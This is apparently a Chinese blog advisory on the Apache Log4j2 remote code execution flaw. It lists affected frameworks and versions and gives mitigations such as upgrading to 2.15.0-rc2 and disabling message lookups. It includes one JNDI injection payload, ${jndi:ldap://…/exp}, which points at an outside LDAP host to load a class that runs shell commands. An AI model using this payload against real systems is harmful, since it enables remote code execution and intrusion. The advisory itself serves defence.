不知道大家有没有注意到,昨晚和今早朋友圈疯传了 Apache Log4j2 的 RCE 漏洞。
相信很多朋友,半夜就被叫起来修 bug 了。
近日,Apache Log4j 2 被披露出存在严重代码执行漏洞,目前官方已经正式发布安全公告及候选版本,漏洞被利用可导致服务器被入侵等危害。
为避免您的业务受影响,熊哥建议您及时开展安全自查,如在受影响范围,请您及时进行更新修复,避免被外部攻击者入侵。
漏洞详情
Apache Log4j 2是一个开源的日志记录组件,使用非常的广泛。在工程中以易用方便代替了 System.out 等打印语句,它是JAVA下最流行的日志输入工具。
使用 Log4j 2 在一定场景条件下处理恶意数据时,可能会造成注入类代码执行。
由于Log4j2 作为日志记录基础第三方库,被大量Java框架及应用使用,只要用到 Log4j2 进行日志输出且日志内容能被攻击者部分可控,即可能会受到漏洞攻击影响。因此,该漏洞也同时影响全球大量通用应用及组件,例如:
Apache Struts2
Apache Solr
Apache Druid
Apache Flink
Apache Flume
Apache Dubbo
Apache Kafka
Spring-boot-starter-log4j2
ElasticSearch
Redis
Logstash
建议及时检查并升级所有使用了 Log4j 组件的系统或应用。
风险等级
高风险
漏洞风险
攻击者利用该漏洞可导致任意代码执行。
一般代码里会记录请求参数 如登录时记录log.info("user:{} is login", name);这个 name 是前台传过来的参数。
如果前台传的是构造的参数如:${jndi:ldap://www.xiongge.club/exp}。
exp 返回的是一个构造方法里执行 shell 代码的 class 文件。
然后你设置的什么命令服务器接收到参数后就执行这个命令了。
影响版本
❝ Apache log4j2 >= 2.0, < 2.15.0-rc2 ❞安全版本
❝ >=2.15.0-rc2 根据 quote 的内容,log4j1.x 不支持 lookup ,也找不到 JNDI 的相关引用,感觉是可以理解为 log4j 1.x 不受此次 bug 的影响。 ❞修复建议
官方暂未发布正式漏洞补丁及修复版本,请密切关注官方最新版本发布,并关注服务器的异常行为。
用户可排查 Java 应用是否引入 log4j-api,log4j-core 两个 jar 包,如有使用可考虑使用如下官方临时补丁进行修复:
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2。
注意,2.15.0-rc1 的修复是可以绕过的。2.15.0-rc2 在 ASF 已经投票通过,应该会马上发布!
其他措施:
禁止没有必要的业务访问外网。
设置jvm参数 “-Dlog4j2.formatMsgNoLookups=true”
设置“log4j2.formatMsgNoLookups=True”
系统环境变量“FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS”设置为“true”
升级idk 11.0.1 8u191 7u201 6u211或更高版本
公众号对话框,回复关键字 “ELK”
免费领取全套ELK学习资料
感谢您抽出· 来阅读此文
热门跟贴